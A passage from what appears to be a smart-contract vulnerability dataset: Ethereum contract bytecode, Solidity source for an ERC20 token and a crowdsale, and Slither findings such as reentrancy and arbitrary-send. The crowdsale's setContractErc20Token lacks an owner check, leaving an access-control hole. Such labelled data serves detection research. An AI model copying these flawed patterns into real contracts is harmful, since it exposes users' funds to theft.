06c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610751565b6000611854611b3d565b90506118608382611928565b9392505050565b600061186083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061176f565b6000826118b8575060006106b8565b60006118c4838561221d565b9050826118d185836121fd565b146118605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610751565b600061186083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b60565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119c057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a1457600080fd5b505afa158015611a28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a4c9190611eea565b81600181518110611a6d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611a939130911684611289565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611acc908590600090869030904290600401612175565b600060405180830381600087803b158015611ae657600080fd5b505af1158015611afa573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b80611b1c57611b1c611b8e565b611b27848484611bbc565b8061176957611769600c54600855600d54600a55565b6000806000611b4a611cb3565b9092509050611b598282611928565b9250505090565b60008183611b815760405162461bcd60e51b815260040161075191906120ed565b5060006117a084866121fd565b600854158015611b9e5750600a54155b15611ba557565b60088054600c55600a8054600d5560009182905555565b600080600080600080611bce87611cf5565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c009087611867565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c2f9086611d52565b6001600160a01b038916600090815260026020526040902055611c5181611db1565b611c5b8483611dfb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ca091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611ccf8282611928565b821015611cec57505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611d128a600854600a54611e1f565b9250925092506000611d22611b3d565b90506000806000611d358e878787611e6e565b919e509c509a509598509396509194505050505091939550919395565b600080611d5f83856121e5565b9050838110156118605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610751565b6000611dbb611b3d565b90506000611dc983836118a9565b30600090815260026020526040902054909150611de69082611d52565b30600090815260026020526040902055505050565b600654611e089083611867565b600655600754611e189082611d52565b6007555050565b6000808080611e336064610b6a89896118a9565b90506000611e466064610b6a8a896118a9565b90506000611e5e82611e588b86611867565b90611867565b9992985090965090945050505050565b6000808080611e7d88866118a9565b90506000611e8b88876118a9565b90506000611e9988886118a9565b90506000611eab82611e588686611867565b939b939a50919850919650505050505050565b8035611ec98161229a565b919050565b600060208284031215611edf578081fd5b81356118608161229a565b600060208284031215611efb578081fd5b81516118608161229a565b60008060408385031215611f18578081fd5b8235611f238161229a565b91506020830135611f338161229a565b809150509250929050565b600080600060608486031215611f52578081fd5b8335611f5d8161229a565b92506020840135611f6d8161229a565b929592945050506040919091013590565b60008060408385031215611f90578182fd5b8235611f9b8161229a565b946020939093013593505050565b60006020808385031215611fbb578182fd5b823567ffffffffffffffff80821115611fd2578384fd5b818501915085601f830112611fe5578384fd5b813581811115611ff757611ff7612284565b8060051b604051601f19603f8301168101818110858211171561201c5761201c612284565b604052828152858101935084860182860187018a101561203a578788fd5b8795505b838610156120635761204f81611ebe565b85526001959095019493860193860161203e565b5098975050505050505050565b600060208284031215612081578081fd5b8135611860816122af565b60006020828403121561209d578081fd5b8151611860816122af565b6000602082840312156120b9578081fd5b5035919050565b6000806000606084860312156120d4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015612119578581018301518582016040015282016120fd565b8181111561212a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156121c45784516001600160a01b03168352938301939183019160010161219f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121f8576121f861226e565b500190565b60008261221857634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156122375761223761226e565b500290565b60008282101561224e5761224e61226e565b500390565b60006000198214156122675761226761226e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108b557600080fd5b80151581146108b557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203000904d68d70d320e3a9cb65ca8eadeff31335834461583ab3be3e52e8e098764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,092
0x3463292dce7e92a3f5d9f135687aad8e4600c8f2
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title TileToken */ contract TileToken is StandardToken, BurnableToken, Ownable { string public constant NAME = "Tile"; // solium-disable-line uppercase string public constant SYMBOL = "TILE"; // solium-disable-line uppercase uint8 public constant DECIMALS = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 400000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function Tile() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063095ea7b3146100eb57806318160ddd1461015057806323b872dd1461017b5780632e0f2625146102005780632ff2e9dc1461023157806342966c681461025c578063661884631461028957806370a08231146102ee5780638da5cb5b14610345578063a3f4df7e1461039c578063a9059cbb1461042c578063d73dd62314610491578063dd62ed3e146104f6578063e5a62ffc1461056d578063f2fde38b14610584578063f76f8d78146105c7575b600080fd5b3480156100f757600080fd5b50610136600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610657565b604051808215151515815260200191505060405180910390f35b34801561015c57600080fd5b50610165610749565b6040518082815260200191505060405180910390f35b34801561018757600080fd5b506101e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610753565b604051808215151515815260200191505060405180910390f35b34801561020c57600080fd5b50610215610b0d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561023d57600080fd5b50610246610b12565b6040518082815260200191505060405180910390f35b34801561026857600080fd5b5061028760048036038101908080359060200190929190505050610b23565b005b34801561029557600080fd5b506102d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cdb565b604051808215151515815260200191505060405180910390f35b3480156102fa57600080fd5b5061032f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f6c565b6040518082815260200191505060405180910390f35b34801561035157600080fd5b5061035a610fb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a857600080fd5b506103b1610fda565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103f15780820151818401526020810190506103d6565b50505050905090810190601f16801561041e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561043857600080fd5b50610477600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611013565b604051808215151515815260200191505060405180910390f35b34801561049d57600080fd5b506104dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611232565b604051808215151515815260200191505060405180910390f35b34801561050257600080fd5b50610557600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061142e565b6040518082815260200191505060405180910390f35b34801561057957600080fd5b506105826114b5565b005b34801561059057600080fd5b506105c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611578565b005b3480156105d357600080fd5b506105dc6116d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561061c578082015181840152602081019050610601565b50505050905090810190601f1680156106495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561079057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107dd57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086857600080fd5b6108b9826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b601260ff16600a0a6317d784000281565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b7257600080fd5b339050610bc6826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170990919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c1d8260015461170990919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610dec576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e80565b610dff838261170990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f54696c650000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561105057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561109d57600080fd5b6110ee826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611181826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112c382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260ff16600a0a6317d7840002600181905550601260ff16600a0a6317d78400026000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601260ff16600a0a6317d78400026040518082815260200191505060405180910390a3565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115d457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561161057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600481526020017f54494c450000000000000000000000000000000000000000000000000000000081525081565b600082821115151561171757fe5b818303905092915050565b600080828401905083811015151561173657fe5b80915050929150505600a165627a7a7230582033e899f8508455c25ffc55ae7094c55ede59ccfde97a5e498db8e829d0bc9b180029
{"success": true, "error": null, "results": {}}
10,093
0xC13FB9A99e36D9511C6c678023160959555ED194
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnerChanged(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale is Ownable { using SafeMath for uint256; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; uint256 public tokenAllocated; uint256 public hardCap = 60000 ether; constructor (address _wallet) public { require(_wallet != address(0)); wallet = _wallet; } } interface IContractErc20Token { function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function balanceOf(address _owner) external constant returns (uint256 balance); function mint(address _to, uint256 _amount, address _owner) external returns (bool); } contract CryptoCasherCrowdsale is Ownable, Crowdsale { using SafeMath for uint256; IContractErc20Token public tokenContract; mapping (address => uint256) public deposited; mapping(address => bool) public whitelist; // List of admins mapping (address => bool) public contractAdmins; mapping (address => uint256) public paidTokens; uint8 constant decimals = 18; uint256 fundForSale = 525 * 10**5 * (10 ** uint256(decimals)); address addressFundNonKYCReserv = 0x7AEcFB881B6Ff010E4b7fb582C562aa3FCCb2170; address addressFundBlchainReferal = 0x2F9092Fe1dACafF1165b080BfF3afFa6165e339a; uint256[] discount = [200, 150, 75, 50, 25, 10]; uint256 weiMinSale = 0.1 ether; uint256 priceToken = 714; uint256 public countInvestor; uint256 percentReferal = 5; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); event NonWhitelistPurchase(address indexed _buyer, uint256 _tokens); event HardCapReached(); constructor (address _owner, address _wallet) public Crowdsale(_wallet) { uint256 fundAdvisors = 6 * 10**6 * (10 ** uint256(decimals)); uint256 fundBountyRefferal = 525 * 10**4 * (10 ** uint256(decimals)); uint256 fundTeam = 1125 * 10**4 * (10 ** 18); require(_owner != address(0)); require(_wallet != address(0)); owner = _owner; //owner = msg.sender; //for test's tokenAllocated = tokenAllocated.add(fundAdvisors).add(fundBountyRefferal).add(fundTeam); } function setContractErc20Token(address _addressContract) public { require(_addressContract != address(0)); tokenContract = IContractErc20Token(_addressContract); } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function setPriceToken(uint256 _newPrice) public onlyOwner { require(_newPrice > 0); priceToken = _newPrice; } // low level token purchase function function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); if(whitelist[_investor]) { tokenContract.mint(_investor, tokens, owner); } else { tokenContract.mint(addressFundNonKYCReserv, tokens, owner); paidTokens[_investor] = paidTokens[_investor].add(tokens); emit NonWhitelistPurchase(_investor, tokens); } emit TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); checkReferalLink(tokens); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal view returns (uint256) { uint256 currentDate = now; uint256 currentPeriod = getPeriod(currentDate); uint256 amountOfTokens = 0; if(0 <= currentPeriod && currentPeriod < 7 && _weiAmount >= weiMinSale){ amountOfTokens = _weiAmount.mul(priceToken).mul(discount[currentPeriod] + 1000).div(1000); } return amountOfTokens; } function getPeriod(uint256 _currentDate) public pure returns (uint) { //1538488800 - Tuesday, 2. October 2018 14:00:00 GMT && 1538499600 - Tuesday, 2. October 2018 17:00:00 GMT if( 1538488800 <= _currentDate && _currentDate <= 1538499600){ return 0; } //1538499601 - Tuesday, 2. October 2018 17:00:01 GMT GMT && 1541167200 - Friday, 2. November 2018 14:00:00 GMT if( 1538499601 <= _currentDate && _currentDate <= 1541167200){ return 1; } //1541167201 - Friday, 2. November 2018 14:00:01 GMT && 1543759200 - Sunday, 2. December 2018 14:00:00 GMT if( 1541167201 <= _currentDate && _currentDate <= 1543759200){ return 2; } //1543759201 - Sunday, 2. December 2018 14:00:01 GMT && 1546437600 - Wednesday, 2. January 2019 14:00:00 GMT if( 1543759201 <= _currentDate && _currentDate <= 1546437600){ return 3; } //1546437601 - Wednesday, 2. January 2019 14:00:01 GMT && 1549116000 - Saturday, 2. February 2019 14:00:00 GMT if( 1546437601 <= _currentDate && _currentDate <= 1549116000){ return 4; } //1549116001 - Saturday, 2. February 2019 14:00:01 GMT && 1551535200 - Saturday, 2. March 2019 14:00:00 if( 1549116001 <= _currentDate && _currentDate <= 1551535200){ return 5; } return 10; } function deposit(address investor) internal { deposited[investor] = deposited[investor].add(msg.value); } function checkReferalLink(uint256 _amountToken) internal returns(uint256 _refererTokens) { _refererTokens = 0; if(msg.data.length == 20) { address referer = bytesToAddress(bytes(msg.data)); require(referer != msg.sender); _refererTokens = _amountToken.mul(percentReferal).div(100); if(tokenContract.balanceOf(addressFundBlchainReferal) >= _refererTokens.mul(2)) { tokenContract.mint(referer, _refererTokens, addressFundBlchainReferal); tokenContract.mint(msg.sender, _refererTokens, addressFundBlchainReferal); } } } function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (tokenAllocated.add(addTokens) > fundForSale) { emit TokenLimitReached(tokenAllocated, addTokens); return 0; } if (weiRaised.add(_weiAmount) > hardCap) { emit HardCapReached(); return 0; } return addTokens; } /** * @dev Add an contract admin */ function setContractAdmin(address _admin, bool _isAdmin) external onlyOwner { require(_admin != address(0)); contractAdmins[_admin] = _isAdmin; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwnerOrAnyAdmin { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external 